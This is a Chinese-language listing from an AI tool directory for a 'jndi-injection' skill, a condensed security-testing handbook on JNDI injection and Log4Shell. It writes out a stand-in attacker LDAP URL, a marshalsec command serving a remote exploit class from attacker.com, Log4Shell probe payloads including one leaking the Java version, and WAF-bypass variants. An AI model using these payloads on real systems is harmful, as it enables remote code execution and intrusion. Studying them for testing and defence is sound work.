SuperAPI AI 工具集

jndi-injection

安全与审计

查看项目

更新于 10-16 07:22

技能介绍

用途:当 Java 应用通过 InitialContext.lookup() 使用攻击者可控名称进行 JNDI 查找时(尤其经 Log4j2、Spring 或任意代码路径),本手册用于安全测试与攻击路径分析。

核心机制:JNDI 提供统一 API 从命名/目录服务(RMI、LDAP、DNS、CORBA)查找对象。当 lookup 收到可控 URL,JVM 会连接攻击者服务器并加载执行代码。脆弱模式为 ctx.lookup(name),name 形如 ldap://attacker.com/Exploit。

主要攻击向量:RMI 返回 Reference 对象指向远程类;LDAP 返回含 javaCodeBase、javaFactory 或序列化对象的条目(通常优先,因限制更晚加入);DNS 仅用于探测。

JDK 约束与绕过:<8u121 可直接远程类加载;8u121–8u190 RMI 受限改用 LDAP;>=8u191 两者均受限,可通过 LDAP 返回 javaSerializedData 反序列化 gadget(如 ysoserial JRMPListener),或用 Tomcat BeanFactory 配合 EL 表达式。

工具:marshalsec 提供 LDAPRefServer/RMIRefServer;JNDI-Injection-Exploit 一键启动多策略服务;Rogue JNDI 自动生成 payload。示例:java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389。

Log4Shell:Log4j2 的 Lookup 在日志消息中求值 ${jndi:...},任何被记录字符串都可能触发。探测载荷如 ${jndi:ldap://TOKEN/a}、${jndi:ldap://${sys:java.version}.TOKEN/a}。WAF 绕过可用 ${${lower:j}ndi:...} 等变体及拆分日志。受影响版本 2.0-beta9 至 2.14.1。

其他 sink:Spring JndiTemplate.lookup、Solr Config API、Druid、vCenter、H2 Console、Fastjson 等。测试方法:先 DNS 探测,再判断 JDK 版本,据版本选择直接类加载、序列化 gadget 或 BeanFactory+EL。限制:具体环境依赖 classpath 与版本差异,资料未提供完整实战验证细节。